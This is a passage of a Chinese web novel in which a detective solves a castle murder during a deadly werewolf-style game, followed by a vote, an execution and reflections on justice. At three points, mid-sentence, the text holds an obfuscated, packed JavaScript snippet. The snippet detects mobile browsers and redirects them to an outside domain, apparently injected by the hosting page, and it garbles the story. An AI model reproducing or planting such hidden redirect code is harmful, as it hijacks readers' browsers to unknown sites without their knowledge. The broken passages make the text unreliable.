墙上挂有一排菜刀,从左到右,刀的大小依次变小。 尤烟的手指从左到右指菜刀:“五、四、三、二、一。”然后举起手里的袋子,“六。” 后面的人都感到莫名其妙。 褚河挑眉:“编号?” “嗯。”尤烟说,“五号和六号刀的刀柄被对换了。” 石子嘉走过来,恰巧听到这句话:“谁没事儿会换刀柄,你在东扯西扯些什么?” 尤烟指五号菜刀,接着把袋子递给褚河:“让花与酒检查一下。不出意外,这两把刀的刀柄上都有凶手的指纹。” 祁迎风被当作凶手,尤烟不好让他去办事,只能拜托稍微熟悉一点的褚河。 褚河伸出双指敬礼:“遵命,大小姐。” 尤烟常年独居,不怎么见家里的人,只有祁迎风会偶尔戏谑地这么叫她,褚河突然来一句,她不由愣片刻。 “别人叫你一声‘大小姐’,还真把自己当大小姐了?”石子嘉双手抱胸,淡淡地怼。 尤烟还是没理他,自顾自调查。 次数多了,石子嘉生气却无可奈何,理解不了这人的情绪为何会如此稳定。 尤烟将表面状况检查完毕,开始翻箱倒柜。 其他人看着尤烟行动,心思各异。 凶手不希望尤烟发现什么,普通玩家则心急如焚,生怕找不到真凶。 和司雪那件案子不同,邓有利死得更突然,而且找不到有杀人动机的人。 难道真的是祁迎风? …… …… “结果出来了。”一个多小时后,褚河拿着两把刀和一份报告返回大厨房。 无独有偶,尤烟在一个角落橱柜翻出一盒崭新但有轻微使用痕迹的工具箱。 石子嘉忙问褚河:“刀上真的留有指纹?” 秦意月杀司雪的时候专门戴了手套,蒋容却在无意间留下指纹,按理来说,有那二人的“经验”,之后的凶手都会特别注意这方面,不应该再留指纹。 “有。”褚河给大家肯定的答案。 听到这个回答,尤烟心里有了推测。 凶手杀邓有利并非蓄谋已久,而是临时起意,否则不会不戴上手套。 “谁的?”石子嘉推眼镜,随时准备推理,势必要抢在尤烟之前找到凶手。 褚河看向尤烟:“杨一旭和柏峰。” 他没说具体的,比如哪把刀上有哪个人的指纹。 沉默。 “胡说八道!”蓦地,柏峰冲过去,一把逮住褚河的领子,却因身高矮了十几厘米而气势不足,甚至略显滑稽。 褚河不疾不徐地拿掉柏峰的手,脸上还保持客气的微笑。 柏峰震惊,这个褚河看起来瘦瘦的,力气居然这么大,抓得他手腕贼痛,仿佛全身的筋都被绑紧。 褚河笑一声,说道:“别急呀柏先生,指纹在刀上,也不能证明你是凶手。” 这话倒是说到柏峰的心坎上:“哼,你最好给我一个合理的解释。” “给我看看报告单。”尤烟伸手。 褚河走过去,递给她。 尤烟一目十行看完,抬头,问:“刀上为什么会有你们的指纹?” 这话当然是针对杨一旭和柏峰的。 眼见柏峰又要发作,褚河一把将他的后领抓住,没让他靠近尤烟。 杨一旭不像柏峰那么冲,但听到这话也很不高兴:“喂,你什么意思,你这是在,怀疑我们?” 尤烟老实点头:“嗯。” 褚河道:“既然被怀疑,二位不妨先解释解释。” 杨一旭咽咽口水,硬着头皮说:“我用刀切水果。” 尤烟问:“什么水果?什么时候?洗没洗?用的哪把刀?” 她一下子抛出四个问题,把杨一旭的脑袋搅成浆糊,却不敢不回答:“苹果啊,桌上不是有吗?就,就这两天用的。我肯定洗了啊。用的这一把……”他指六号刀,也就是最大的那把。 褚河夸张地长“哦”一声,语气欠欠的。 “嗯。”尤烟对上他的眼睛,赞同地点点头。 其他人:“……?” 他们在说什么? 褚河靠在桌子上,笑着说:“我们只是惊讶,杨先生切苹果居然用这么大一把刀。” 杨一旭脸色一变。 “你呢?”尤烟转而问柏峰。 “关你什么事?”柏峰的力气比不过褚河,难道还怕比不过一个小姑娘? “柏先生,”褚河靠近他,伸手拍他的肩膀,“配合一下呗,大家也是为了早点找到凶手。” 柏峰觉得自己被威胁了。 尤烟盯着柏峰,静静等待他的回答。 柏峰心里烦躁,但看看身旁的笑面虎褚河,再看看尤烟身后对他虎视眈眈的狼狗祁迎风,顿时没了脾气。 早知道他也该壮大自己的势力! “我也是切水果。”柏峰说,“我在果园摘了个西瓜,想用大点的刀切,所以来了这儿。”说完,他补充一句,“我吃完就把垃圾清理了。你们不会还想检查垃圾吧?” “这些工具,你用过?”尤烟指桌上的工具箱。 这是她刚刚翻出来的,还没有检查,但是肯定有问题。 工具箱很新,只有一层薄薄的灰,只不过这个灰分布不均匀,一看就被人动过。 柏峰下意识地咽口水:“我没有。” 杨一旭跟着否认:“我也没有!” 尤烟看向褚河。 褚河举手投降:“知道了。”他戴上手套,拿起工具箱,再次离开厨房。 “你让他去干什么?”柏峰心里一紧。 “验指纹。”尤烟说。 这还用问? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449013|185235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我去看看,免得他动手脚。”柏峰捏住拳头,说。 “随便你。”尤烟收好装有刀的袋子和报告单,抬脚离开。 石子嘉立即问:“你去哪儿?” 尤烟说:“回去睡觉。” 石子嘉皱眉:“时间紧迫,你不调查案子,睡什么觉?现在都两点多了,再过七个多小时就要开会了!” 尤烟打完一个呵欠,优哉游哉说:“我知道谁是凶手了。” 石子嘉石化在原地? 她,她知道谁是凶手了? 这才过去多久? 这不是才跟三个人对峙过吗? 凶手到底是谁,杨一旭,柏峰,还是祁迎风? 尤烟困了,忽视所有人震惊的目光,趿着拖鞋扛着背,悠悠地走掉。 …… …… “你真知道是谁了?”祁迎风追上尤烟,和其他人同样惊讶。 尤烟真不是演的? “嗯。” “谁啊?” 尤烟停住脚步,脑子里思考的却不是凶手是谁,而是这场游戏的荒唐。 老实说,尤烟根本没把这场“游戏”当作游戏,在她看来,这只是城堡主人的恶趣味。 非常低级的恶趣味。 不管是秦意月还是这次的凶手,都是普通得不能再普通的人。他们没有高级的杀人手段,也没有强大的心理承受能力和表情管理能力,杀人对他们来说是陌生而恐怖的,如果没有更强大的欲望支撑,或许他们这一辈子都不会做出这种举动。 偏偏,城堡主人邀请了他们。 城堡主人让他们住在华丽的城堡里,让他们接触最遥不可及的财产,同时给予他们触手可及的继承资格。 人类的劣根性,被贪婪和欲望无限放大。 完美的城堡成为孤岛,现代的人类逐渐回归成原始的动物,暴露出本性。 城堡主人想看的,或许就是这种恶劣。 很多玩家已在不知不觉中忘记自我。 在这种情况下,玩家们像极海里的沙丁鱼,隐藏的凶手成了鲶鱼。 城堡主人则是养鱼的人。 要是玩家全是普通人会很无聊,所以城堡主人聪明地请来尤烟和褚河。 两条鲨鱼。 至于鲨鱼会不会反噬养鱼的人,得看双方的博弈。 “杨一旭。”尤烟说。 “杨一旭?!怎么会是他?我还以为是柏峰。”祁迎风走着走着,察觉到不对劲,“这不是回房间的路吧?” “嗯。”尤烟说,“去救褚河。” …… …… “去哪里验指纹啊?”柏峰跟在褚河身后,问。 “快到了。”褚河双手插裤兜,慢悠悠地走在前面。 褚河喜欢穿花纹稀碎的衣裤,今晚这套短袖短裤,印满各种各样的椰子树,跟在沙滩度假似的。他的松弛感放在以往会让人觉得亲切,但现在,只会让人感到恐惧。 他似乎掌握着一切,对什么都信手拈来。 凶手瞒不过他。 柏峰看着褚河的背影,手悄悄地放入衣兜。 下一秒,柏峰伸出手,手里的水果刀在灯下泛着冷光,刺向褚河的后腰。 12. 会议 褚河听到身后的动静,很快就猜到发生了什么。 褚河侧身,及时躲过柏峰的冲刺袭击,尔后抓住柏峰拿刀的胳膊,用力一掰。 “啊——”柏峰撕心裂肺地吼叫,额头冒出豆大的汗水。 “柏先生,何必多此一举呢?”褚河轻轻地叹息一声,“要是我死了,你才真活不下去了。” 柏峰感觉手腕要废了,他不敢动,生怕褚河下一步就扯断自己的手。 他的大脑无法思考,却反驳了前不久脑海里的一句话。 褚河不是“似乎”掌握一切,而是掌握一切。 褚河从柏峰手里抽走水果刀,随手丢到一旁,接着好心“劝说”道:“没多久就要开会,早点回去休息吧,柏先生。” 柏峰被松开手,满心不服气,正想发起第二次攻击,就看见尤烟和祁迎风往这边走来。 “看来他不需要我们救。”祁迎风的肩膀松下。 “走吧。”尤烟转身就走。 褚河看到他俩,笑着招招手:“谢谢啊,二位。” 他知道尤烟为何而来。 嗯,这位年轻的小姐并非看起来那般冷漠无情。 …… …… 尤烟也没想到自己会在一个陌生的地方,对一个陌生的人稍加关注。 不过,她很快想到了原因。 她对褚河有戒备不假,但她并不希望无辜的生命无端消失,尤其褚河还帮过她。 至于其他的无辜生命…… 尤烟很难回答伦理方面的问题。 或许她还需要思考。 …… …… 这一晚,绝大部分玩家都睡不踏实,甚至根本没睡。 天渐亮,沉睡一夜的城堡逐渐回笼意识。 尤烟还有一事需要确认,所以九点钟就起了。她洗漱完毕,踩着树叶形状的绿色拖鞋出门,去隔壁找褚河。 褚河起来很久了,精神奕奕。他的头发刚洗完吹干,还没扎起来,落在肩上,蓬蓬软软。 “工具箱上的指纹是柏峰的。”褚河知道尤烟找自己的目的。 这很好理解,毕竟,倘若工具箱上的指纹不是柏峰的,柏峰不会冒险对褚河动手。 “好。”这下,尤烟完全肯定了自己的推测。 “问你一个问题。”褚河双手环胸,靠在门边,微微弯腰,“如果柏峰要害的不是我,你会去吗?”他对上尤烟的视线,眼底带笑。 他指的是昨晚那件事。 尤烟问过自己这个问题,但她还没找到答案:“看情况。” 没有人能够预测未来,现在画的饼,以后不一定做得出,因此,尤烟不想随便回答。 “看来我属于积极情况。”褚河自夸。 “嗯。”尤烟不否认,他的确值得她救,至少在这座城堡里。 褚河转移话题,说:“你很擅长推理。” “还好。” “你的推理方式和逻辑,和我曾遇到过的一位侦探很像。”褚河道。 对于同一件事,不同人有不同的做法,在侦探这个行业中,此规则依然成立。 有的人习惯先拿出最关键最重要的证据,然后再发散思维,像蜘蛛织网一样覆盖整个案件;有的人擅长逆推,分析结果、拿出线索、推导过程;也有的人会从细节和边缘证据出发,再拿出关键线索证明自己的推理…… 至于尤烟…… 其他人或许光注重尤烟的推理内容,并没有关注她的推理方式,但褚河发现了。 她明显在脑子里捋完了整个逻辑链,然后按顺序,从头到尾梳理案件,并在某些地方拿出合适的证据加以佐证。 该方式相较于其他方式困难,尤其是面对复杂案件,且没有关系图辅助时,这种陈述逻辑很容易让人模糊前后左右的关系。 尤烟没有这方面的困扰。 和白居易的诗一样,尤烟的逻辑很清晰,讲述方法也很简单,以至于所有人都能听懂。 当然,城堡里的案件本身不难,不管尤烟怎么讲,玩家应该都能理解。 “谁?”尤烟礼貌性地询问,即使她对那个人没兴趣。 “我不知道他的名字,只知道他的代号。”褚河说。 “什么?” 褚河正要回答,隔壁的房门突然打开,祁迎风伸着懒腰从里面走出。 祁迎风侧首,谁知旁边两个人齐刷刷地看向自己,吓得他像只仓鼠一样把两只手缩在胸前,往后退。 祁迎风回过神来,问:“你俩在这聊什么呢?” 褚河笑着摇摇头:“没什么,在说一会儿开会的事情。” 尤烟对刚才的话题兴趣不大,褚河转移话题,她便没多说。 “我们要不先过去?”祁迎风看眼时间,“九点二十八了。” 尤烟抗议:“太早。” 去会议室也就十来分钟,多余的时间不如躺床上。 祁迎风无奈:“那你再休息会,九点四十五我来喊你。” 尤烟点头:“好。” …… …… 祁迎风说多久喊人就多久喊人,九点四十五刚到,尤烟的房门被敲响。 “来了。”尤烟换了双海绵宝宝拖鞋,开门,“走吧。” 他最晚俩出门,最晚到达。 圆形会议桌上立着三个人的遗照,而凶手仍潜伏在玩家之中未被发现,会议室安安静静,无人吱声。 “既然到齐了,我们赶快开始新一轮的投票吧!”花与酒兴奋地说道。 除石子嘉外,所有人的目光都投向尤烟。 尤烟在上一轮的投票环节表现出色,得到绝大部分玩家的信任和支持。至少在投票环节,没人忽视她。 “我认为凶手是柏峰。” 说话的人不是尤烟,而是石子嘉。 柏峰当即破口大骂:“你是不是有病啊,老子惹你了?你他大爷的,别不懂装懂,有本事你拿出证据来!” 石子嘉不为柏峰的凶狠所动,推测:“昨晚你们也听到了,不管是五号刀还是六号刀,都有柏峰的指纹,此其一。其二,大家不知道吧,昨日柏峰跟着褚河一起出去,其实不是为了监督,而是为了杀人灭口。” 显然,他当时跟踪了褚河和柏峰。 杨一旭瞪大眼睛:“什么?!他竟然想再杀一人!褚河,这是真的吗,柏峰真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449014|185235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要杀你?” 褚河摊摊手:“是吧。” “狗东西,你别在这跟风!”柏峰更换骂人对象,指着杨一旭的鼻子,道,“刀上也有你的指纹,你以为你就清白吗?” 杨一旭咽口水,梗着脖子道:“我可没有对褚河动手。” 石子嘉对此表示赞同:“没错。我们都知道褚河要去验证指纹,而你恰巧跳出来说跟着褚河,若非我猜到你的目的,恐怕除了你和褚河,没人知道你想杀他。” 尤烟看着石子嘉,静静地听他胡说八道。 石子嘉认为自己逻辑自洽,完美证明了柏峰是凶手。 “不是我!”柏峰猛地起身,暴躁地踢桌子,吼道,“老子没杀人!” “那就请你拿出证据!”石子嘉不松口,“管家,我要投票,我投柏峰。” 花与酒眨眨眼睛:“好啊,那就记柏峰一票。其他玩家呢?” 石子嘉瞥眼闫志涛及其身边的郁渚飞。 闫志涛没反应,对着小镜子梳莫西干头。 郁渚飞默默地举起手:“我,我票柏峰。” 杨一旭立即跟票:“我也是!” 柏峰急了,正要冲出去,被身后的男仆及时抓住,动弹不得。 花与酒道:“请不要扰乱游戏秩序,柏先生。” 柏峰急红眼,哪还管得了其他:“你们都是傻屌吧,老子都说不是老子,你们为什么不信?!好啊,票啊,都来票老子啊,大不了同归于尽!一群废物!” 虽然是群骂,但闫志涛还是不高兴,放下镜子梳子,瞪柏峰:“你再骂一个试试。” 柏峰啐一口:“蠢货!” 闫志涛气笑:“拿不出证据只会瞎嚷嚷的老东西,你好意思说人家是蠢货?” 十九岁的学生骂三十多岁的男人是老东西,该说不说,没什么毛病。 “喂喂,”褚河靠在椅背上,伸手敲敲桌子,“继续?” “继续什么继续,票他啊。”石子嘉指着柏峰,“他狗急跳墙,还看不出来他是凶手?”他拍了拍好朋友的隔壁,说,“志涛,跟票。” 闫志涛道:“急什么。” 石子嘉一噎,看闫志涛的眼神多了一丝仇恨,恨对方在这么多人面前撂自己的面子。 “我告诉你们,别只逮着我不放,这个祁迎风也不是什么好东西!”柏峰心一横,转移目标,恶狠狠地盯着祁迎风,“我直说吧,昨晚我路过厨房附近的洗手间,还看见这个人在洗手,他肯定是杀人之后,在洗手上的血。” 尤烟听到这句话,挑了挑眉。 很好,闭环了。 她原本只是猜测,听完柏峰的话,猜测变成肯定,连多余的试探都不用。 “其实,”祁迎风看不下去了,想早点结束这场闹剧,“我们认为凶手是杨一旭。” 死者邓有利,一位热爱自身职业的美食博主,也是一位让祁迎风真心赞美的人。 祁迎风的话一出,轮到杨一旭不淡定:“小,小兄弟,你在胡说什么呢。你不能因为你被指认,所以拉我下水吧?” 他维持微笑,可谁都看得出来他的笑容很勉强,甚至很假。 祁迎风看向尤烟。 13. 真凶 “昨晚十点五十左右,祁迎风离开厨房,仅余邓有利一人,杨一旭路过厨房,临时起意,用五号菜刀将邓有利杀害。”尤烟强调了“临时起意”四个字。 时间是祁迎风后来跟她说的,这些时间让尤烟的拼图更加完整。 柏峰听到这些话,总算恢复一点点理智:“哼,算你们没有蠢到不可救药。” 尤烟没理他,拿出五号和六号菜刀,放在桌上。 “这上面有柏峰的指纹,你怎么解释?”石子嘉死死盯着尤烟,从各方面出难题。 “就是,你怎么解释?!”杨一旭见石子嘉仍支持自己,对尤烟不客气道。 尤烟依旧从容,不疾不徐地把工具箱提上来,放好。 看到那个工具箱,柏峰再次心慌,却因尤烟的怀疑对象不是自己而暂时没有发脾气。 “十一点零二,”尤烟看过手机,这是昨晚她给祁迎风打电话的时间,“祁迎风在洗手间洗手,柏峰路过看见了。” 这是柏峰亲口承认的,玩家对此信服,柏峰自己也无法反驳。 尤烟接着道:“柏峰到厨房时,邓有利已经遇害,但尚留有一口气,为了让邓有利彻底死亡,柏峰决定补刀。 “地上有杨一旭留下的五号刀,柏峰却用了更大一号的六号刀。 “柏峰把六号刀放在地上,将五号刀挂回原处,给我们营造一种凶器只有一个、真凶也只有一个的错觉。 “由于知道祁迎风在附近,柏峰换刀柄的过程很紧张,导致五号和六号刀的刀柄衔接处很松,所以要发现这一点并不难。” 说是这么说,部分玩家在心中汗颜。 那种情况,所有人都盯着地上的刀,谁会在意墙上整整齐齐的另外几把刀。 “这是我画的伤口图,”尤烟顺时针传递图纸,“可以看出,第二刀没有第一刀深,但比第一刀宽。” 当图纸递到石子嘉手里时,石子嘉灵光一现,提出一个问题:“你凭什么认为五号刀比六号刀先一步捅进邓有利的身体?” “很好的问题。”尤烟实话实夸,真心的。 “还用你说?”石子嘉骄傲,但他认为尤烟在以一种上位者对下位者的态度说话,脸色依然不好看。 “只看伤口位置,确实很难判断先后顺序,但是从伤口新鲜度来看,我的判断没有错。”尤烟看向花与酒,“你当时在我旁边,你说。” 花与酒见玩家们都在看自己,一脸受宠若惊:“哦,对,是的,我作证,尤烟女士没有说谎。” 他倒是严谨,没说尤烟的判断是否正确,只说尤烟没撒谎。 “没问题的话,我接着说。”尤烟道,“柏峰做完一切后,匆匆逃离现场,没多久,祁迎风回到厨房,发现了邓有利的尸体。” 以上,就是整个案件的过程。 会议室中,一片沉默。 所以,这次的凶手有两个? “胡说八道,胡说八道!”柏峰再次暴怒,“我还以为你有多厉害呢,结果也是个只会瞎扯淡的人!” “不是我,我没有!”杨一旭也道。 闫志涛突然笑出声:“柏峰真是自作聪明啊,以为换了刀柄就不会被发现,结果刀上的指纹反而成了关键证据。” 柏峰朝闫志涛的方向吐了口痰,恶道:“操.你大爷的,老子就是比你聪明,有本事你也想到这一点啊!” 闫志涛被他恶心到了,跟他对骂,二人骂得一个比一个难听。 “够了!”石子嘉听不下去,“既然杨一旭和柏峰都杀了人,我认为他们俩都得被票出去。我没有错,我坚持票柏峰。” 花与酒忽然道:“哎呀,大家都是玩过狼人杀的人,怎么能忘记规则呢?” 石子嘉蹙眉:“你什么意思?” 花与酒答:“意思就是,你们只能票一个人出来呀。慎重选择哦,要是错了,凶手之外的玩家仍然会死呢。” 他的语气听起来在为玩家着想,其实又欠揍又贱兮兮。 “我票杨一旭。”尤烟举手。 杨一旭是第一个杀害邓有利的人,就算之后没有柏峰,邓有利也会死。 正如褚河所说,只要不杀褚河,柏峰也不会死。 褚河料到了现在的情况。 “我也投杨一旭。”祁迎风道。 “跟。”褚河抬一下手。 花与酒点点头:“嗯嗯,好,那么现在,杨一旭和柏峰平票了。” 闫志涛道:“我投杨一旭。” 石子嘉凝眉,看一眼闫志涛。 他这是在跟自己对着干? “杨一旭,杨一旭!”柏峰激动地跳起来。 “你,你们……”杨一旭急得浑身发抖。 剩下的玩家也纷纷表态,将票归给杨一旭。 花与酒一锤定音:“七比三,杨一旭先生被认为是凶手。好,接下来,让我们看看结果吧——” 话音落下,会议桌中间出现电子转盘,众人身后的男仆齐齐举起枪。 和之前一样。 存活玩家的名字在电子屏幕上快速轮转,尤烟、褚河、祁迎风、石子嘉……然后,轮转速度变慢,直到停留在杨一旭的名字上。 “不,不要这样……”杨一旭紧紧抱住头,蹲在地上,缩进桌底。 杨一旭开始后悔,后悔自己不该被欲望模糊心智,后悔自己应该继续胆小。 他从小就是个贪婪而懦弱的人,前妻如是评论过他,但他打死不承认。 杨一旭曾在地上见到过一个钱包,钱包里有三百块钱,对他来说不算多,但他还是将钱包据为己有,哪怕钱包主人找上门来说理,他也死不归还。 后来,钱包主人的朋友来了,二话不说直接动手,杨一旭怂了,连连认错,把东西还给人家。 没多久,杨一旭收到一封邀请函。 杨一旭坐过很多次经济舱,却第一次坐头等舱,还不用他花钱。 杨一旭来到克修克尔城堡,被有修养的管家奉为贵客,他逐渐将这一切当作理所当然。 当听到管家说到“继承城堡”和“满足心愿”等词时,杨一旭心脏狂跳,认为这些都是为他准备的。 不然他为什么有资格收到邀请函? 不然他为什么能被管家如此尊敬? 不然……他为什么有机会杀人? 邓有利背对着他,厨房的一排菜刀就在旁边。 回忆过往生活,回忆自己在城堡里的待遇,杨一旭认为,没有哪一刻比现在更适合为自己的目标而努力。 杀了邓有利,然后装作无事发生,等待别人票错凶手,等待城堡主人将城堡赠予自己…… “砰——”枪声响起,仅一声。 投票结果正确。 杨一旭没有等来财富,反而等来死亡。 他的人生乏善可陈,连走马灯都带不来什么刻骨铭心的记忆。 杨一旭瞪大眼睛,泪流满面。 不是悔过的泪,是不理解的泪。 不理解自己为何会被发现,更不理解,既然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449015|185235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一切不是为他准备的,城堡主人又为何邀请他来。 因为这一声枪响,柏峰吓得尿失禁,他下意识地摸向后脑勺,这才发现中枪的不是自己。 “我,我还活着……”柏峰喃喃,然后兴奋起来,“我还活着!” 然而没人跟他共开心。 褚河第一个站起身,离开之前,特意靠近花与酒,拍拍他的肩膀:“下次换个会议室吧,怪难闻的。” 也不知道他指的是血腥味还是尿臭味。 花与酒殷勤笑道:“好的,褚河先生。感谢您的建议。” 尤烟和祁迎风一同走出会议室,还没往外走几步,被石子嘉喊住。 “尤烟!”石子嘉的镜片在灯下反光,他盯着尤烟,眼神因反光而更显凶恶,“这次我没有推理错,只是你运气好,二选一选对了而已。” 尤烟懒得理他。 她难道没把柏峰指出来? 祁迎风也没心情理会石子嘉,他为邓有利的死感到难过。 二人忽视石子嘉,继续迈步,只留石子嘉在原地愤怒。 “行了你,计较那么多干什么?”闫志涛路过石子嘉身边,一脸嫌弃。 “你……”石子嘉捏住拳头,咬牙切齿,却没再多说。 …… …… “邓有利是个很好的人。”祁迎风耷拉着脑袋,蔫蔫的,没精神。 “嗯。”尤烟有体会。司雪那件事后,是邓有利让大家稍微有了一点信任。 祁迎风低头。 这几天,祁迎风跟邓有利聊过不少。 邓有利喜欢看动漫,也喜欢将出现在动漫里的食物变成真实的,尽管困难,他不曾放弃。 小时候,邓有利的家庭经济状况并不好,放学花五毛钱买一个包子是他一天当中最开心的事情。胃口随年龄增长后,父母多给他一点钱,让他吃得更好。 习惯使然,邓有利喜欢简单的食物,哪怕成为美食博主,总做复杂的菜品,邓有利最爱的还是深夜的方便面。 “高端的烹饪往往只需要最简单的食材”是邓有利的口头禅,这段时间,祁迎风常听。 祁迎风说:“我本来以为我能跟他成为好朋友。” 可惜,邓有利死于非命。 “我不应该去上那趟厕所的。”祁迎风突然停下脚步,他走不动路了,坐在地上,“如果当时我也在厨房,他不可能会出事。” 尤烟抓半天脑袋也想不出来怎么安慰人。 “他的死与你无关,”褚河出现在二人面前,“杨一旭和柏峰有害人之心,就算没有这一次,也有下一次。” 祁迎风不语。 褚河道:“凶手为自己的所作所为付出了代价,你该为邓有利感到庆幸。” 祁迎风皱眉:“庆幸?” 邓有利被人杀害,褚河凭什么说“庆幸”? “有不少人被杀死,而凶手依然活着,这样的例子,你应该没少见过或听过吧?”褚河靠在墙上,轻蔑地笑,“从这个角度来说,克修克尔城堡是个不错的地方,至少它让杀人凶手以命抵命。” 祁迎风惊讶地看着褚河,没想到他会说出这样的话。 尤烟也看褚河,只是眼神没什么情绪,思绪反而飘回了过去。 “哈哈,”褚河又笑,这次是轻快的笑,“调整一下心情,别想那么多。”他歪头看了看尤烟,“你也是。”说罢,站直、离开。 祁迎风看着褚河的背影:“他……” 尤烟沉默。 14. 四楼 晚上八点,第四层开放了。 祁迎风情绪不佳,尤烟想让他好好休息,所以没喊他,独自去了四楼。 当差不多走完整个四楼时,尤烟累得想就地而躺。谁知,她刚移到角落,身旁传来熟悉的声音。 “好巧啊,你也在这儿。” 尤烟抬头,果然是褚河。 褚河揣着手、弯着腰,笑眯眯地看着她。 尤烟靠墙坐下,伸出双腿,有气无力地“嗯”了一声。 褚河坐在她旁边,曲起一条腿,搭一只手在腿上,侧首:“附近的大阳台连接着一座花园,去看了吗?” “嗯。” 那座花园的地势较高,只有四楼以上才能看到。 园中花团锦簇,有泳池和温泉,不管是基础设施还是布局装饰,都是非常典型的欧式风格。 除此之外,花园中还有独栋的小洋房,随便拎一栋出来都价格不菲。 “还有没去的地方吗?”褚河问。 “有。”尤烟指前面,“那个资料室附近。” “一起去看看?”褚河提议。 “休息会。”尤烟走不动了。 她的体力一般,不好不坏,要怪就怪城堡太大,害她走太多路。 “好。”褚河说。 尤烟打了个瞌睡,清醒后看时间,竟过去了半小时。她转头看褚河,对方居然在闭目养神。 “醒了?”褚河听到轻微的动静,睁开眼,“还想再休息会儿吗?” “都行。” “那就走吧。”褚河起身,尔后顺手扶尤烟。 尤烟也顺手扶着他站起来。 这是唯一一间装有门牌的房间。 资料室。 里面存放着什么资料? 褚河尝试开门,随后摇头:“锁着的。” 尤烟也试了一下,真打不开:“要不砸门?” 褚河一下笑出声。 尤烟歪头,一脸困惑。 笑什么? “没什么,”褚河收起笑容,下一秒没绷住,又笑了,“只是没想到看起来斯斯文文的你,会说出这种话。” “为了解决问题而已。”尤烟说,“算了,先放一放吧。去旁边房间看看。”言讫,先一步进入隔壁房间。 这间屋子应该是办公室,办公设施一应俱全,书架和桌椅全由小叶紫檀制成,其间缀上翡翠宝石,奢华且富有艺术感。 书架上的书都很旧,不过保养得很好。 尤烟绕到书桌正面,拿起桌上的书,当看清书名时,她微微愣神。 褚河在尤烟对面,蹭过去,歪头看书名:“《蝇王》?” “看过?”听他这语气,像是对这本书还算了解。 “嗯,一个朋友推荐给我看的。”褚河站正,“你呢?” “我对文学类的作品不是很感兴趣。”尤烟实话实说。爱好使然,她平时看专业论文比较多,医学、心理学、刑事侦查学等方面的书同样没少看。 褚河笑笑:“其实我看的书也不多,恰巧碰上了。” 真不是凡尔赛,褚河对任何书都没兴趣,要不是朋友强烈推荐,他不会看《蝇王》。 “你讲讲。”尤烟说。 “好。”褚河捋捋思路,说,“故事背景是未来第三次世界大战。在一场核战争中,一群小孩在撤退途中因飞机失事被困在一座荒岛上。最初,这群小孩尚且和睦相处,后来,人性的‘恶’不断膨胀,小孩们互相残杀,造成悲哀的结果。” 尤烟“哦”了一声:“你觉得人性本恶?” 褚河反问:“你不这么认为?” 尤烟说:“我没想过这个问题。”顿了顿,补充,“我哥哥跟你有一样的想法。” “又是喜欢看dn、又是观念相同的,如果我跟你哥哥认识,或许会成为朋友。”褚河开玩笑道,“知音难遇。” “也许吧。” “你呢,就没有什么感兴趣的?” 尤烟认真地想了想:“破案,算吗?” “那么这场游戏简直是为你量身打造。” “不,”尤烟说,“我不喜欢这个游戏。” 不管是桌游狼人杀,还是克修克尔城堡里的狼人杀,尤烟都不喜欢,甚至对后者感到一丝厌恶。 听到这话,褚河没来由地仔细打量尤烟。 尤烟向来没什么表情,浓浓的黑眼圈配上无精打采的眼神,让她看起来十分颓丧。 在这场游戏中,尤烟是少数对死人无动于衷的玩家,褚河原以为她享受这场游戏,因为她和机器人一样,脑袋高速运转,却没有什么感情;因为她像抓小鸡的老鹰,能够快准狠地指出每一位凶手。 这就是此前尤烟带给褚河的印象。 现在不同了。 她说,她不喜欢这场游戏。 “为什么不喜欢?”褚河压制住心中莫名其妙冒出的一丝惊喜,问。 “在这里,人命是玩物。”尤烟想不出具体的理由,只能用抽象的直觉解释,“我不喜欢这种感觉。” 褚河追问:“倘若换一个角度思考呢?” 尤烟歪了歪头:“比如?” “秦意月和杨一旭杀了人,他们得到了应有的惩罚,以命换命,”褚河道,“这种‘规则’在城堡外是很难有的。” 尤其是当钱权出现的时候,规则和律法很容易成为摆设。 “我暂时回答不了你。”尤烟犹豫片刻,说,“但,我也有一个问题想问。” “你问。” “蒋容和柏峰间接导致受害者死亡,他们该不该受到惩罚?如果该,又该受到什么程度的惩罚?”尤烟不是在找茬,而是在认真地提问。 褚河回答得很快:“道德和法律会解决这个问题。” “可按你刚刚的意思,你不相信法律。”尤烟说。 这下轮到褚河沉默。 良久,褚河叹口气,说:“或许,我也暂时回答不了你。” 尤烟把书放回原处,往外走。 褚河跟上。 返回二楼房间的路上,尤烟和褚河都再探讨上一个话题,而是有一搭没一搭地闲聊。 路过卫生间时,尤烟听到沉闷的撞击声,她回头看褚河,用眼神询问对方是否也听到了。 “好像还有叱骂声。”褚河竖起耳朵听。 “是闫志涛。”尤烟确定。 